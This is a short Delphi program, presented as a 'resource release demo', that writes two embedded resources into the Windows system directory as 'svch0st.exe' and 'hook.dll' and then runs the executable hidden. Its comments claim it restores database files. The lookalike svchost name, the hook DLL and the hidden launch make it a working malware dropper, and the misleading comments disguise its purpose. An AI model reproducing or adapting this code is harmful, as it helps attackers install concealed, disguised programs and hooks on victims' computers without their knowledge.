project1.dpr

delphi 无框体的资料释放演示,大家请看说明

{
资源释放
}
program Project1;

uses
  windows,system,Classes;
//{$R *.res}
{$R hookDll.RES}
{$R callexe.RES}
var
   res:tresourcestream;
   resname,resnewname:string;
 //   RegFile:TRegIniFile; //注册表用


function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'\' then Result := Result + '\';
 end;
begin
  begin
//从资源文件中还原数据库文件
resnewname:=GetWinDir+'\svch0st.exe';
resname:='resexe';
res:=tresourcestream.Create(hinstance,resname,pchar('rcexe'));
res.savetofile(resnewname);
res.free;
//-----------------------------
//-----------------------------
end;
    begin
//从资源文件中还原数据库文件
resnewname:=GetWinDir+'\hook.dll';
resname:='RESDll';
res:=tresourcestream.Create(hinstance,resname,pchar('rcdll'));
res.savetofile(resnewname);
res.free;
//-----------------------------
//-----------------------------
end;

begin
Winexec(pchar(GetWindir + '\svch0st.exe'), sw_hide);//运行Windows\System\下的新文件
end;

end.